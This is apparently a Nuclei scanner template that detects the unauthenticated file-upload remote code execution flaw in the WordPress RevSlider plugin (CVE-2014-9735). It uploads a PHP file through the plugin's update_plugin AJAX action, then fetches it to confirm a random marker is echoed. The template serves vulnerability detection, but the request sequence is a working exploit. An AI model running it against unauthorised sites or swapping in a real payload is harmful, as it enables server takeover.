CVE-2014-9735: WordPress RevSlider - Remote Code Execution via File Upload

id: CVE-2014-9735

info:
  name: WordPress RevSlider - Remote Code Execution via File Upload
  author: iamnoooob,pdresearch
  severity: high
  description: |
    The ThemePunch Slider Revolution (revslider) plugin before 3.0.96 for WordPress and Showbiz Pro plugin 1.7.1 and earlier for Wordpress does not properly restrict access to administrator AJAX functionality, which allows remote attackers to (1) upload and execute arbitrary files via an update_plugin action; (2) delete arbitrary sliders via a delete_slider action; and (3) create, (4) update, (5) import, or (6) export arbitrary sliders via unspecified vectors.
  reference:
    - https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9735
    - https://www.exploit-db.com/exploits/35385
    - https://wpvulndb.com/vulnerabilities/7954
    - https://plugins.trac.wordpress.org/browser/patch-for-revolution-slider/trunk/revsliderpatch.php
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2014-9735
    cwe-id: CWE-264
    epss-score: 0.82904
    epss-percentile: 0.99211
    cpe: cpe:2.3:a:themepunch:showbiz_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: themepunch
    product: showbiz_pro
    framework: wordpress
  tags: cve,cve2014,wordpress,revslider,fileupload,rce,plugin,wp,unauth,intrusive

variables:
  marker: "{{randstr}}"
  b64marker: "{{base64(marker)}}"
  filename: "{{rand_base(5)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJDMjlXCUnC1rnZg

        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="action"

        revslider_ajax_action
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="client_action"

        update_plugin
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg
        Content-Disposition: form-data; name="update_file"; filename="{{filename}}.zip"
        Content-Type: application/zip

        {{zip('{{filename}}.php','<?php echo base64_decode(\'{{b64marker}}\'); ?>')}}
        ------WebKitFormBoundaryWJDMjlXCUnC1rnZg--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Update in progress...","wp-admin/admin.php?page=revslider&view=sliders")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/plugins/revslider/temp/update_extract/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{marker}}")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402205b76b8fc4548a1a68dbcf49b6615e3a50b49abf0123208acb7f01c518a167d38022078012e195ae46a40be5e9b46a9008a89d4c139c6407b3b8b5ce2cd399634e56d:922c64590222798bb761d5b6d8e72950